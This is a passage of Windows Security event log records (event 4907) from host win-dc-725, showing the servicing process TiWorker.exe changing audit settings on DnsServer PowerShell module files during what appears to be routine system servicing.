	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247144
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerTrustPoint_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247143
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerTrustAnchor_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247142
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerStubZone_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247141
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerStatistics_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247140
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSigningKeyRollover_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247139
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSigningKey_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247138
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSetting_v1.0.0.cdxml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247137
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerSecondaryZone_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247136
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerScavenging_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247135
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerRootHint_v1.0.0.cdxml
	Handle ID:	0x7c8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247134
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResponseRateLimitingExceptionlist_v1.0.0.cdxml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247133
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResponseRateLimiting_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247132
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordPTR_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247131
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordMX_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247130
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordDS_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247129
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordDnsKey_v1.0.0.cdxml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247128
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordCNAME_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247127
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordAging_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247126
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordAAAA_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247125
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecordA_v1.0.0.cdxml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247124
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerResourceRecord_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247123
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerRecursionScope_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247122
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerRecursion_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247121
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerQueryResolutionPolicy_v1.0.0.cdxml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247120
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerPrimaryZone_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247119
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerPolicy_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247118
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerKeyStorageProvider_v1.0.0.cdxml
	Handle ID:	0x7b8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247117
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerGlobalQueryBlockList_v1.0.0.cdxml
	Handle ID:	0x7c4

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247116
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerGlobalNameZone_v1.0.0.cdxml
	Handle ID:	0x7c0

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247115
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DnsServer\PS_DnsServerForwarder_v1.0.0.cdxml
	Handle ID:	0x7bc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:41:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247114
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
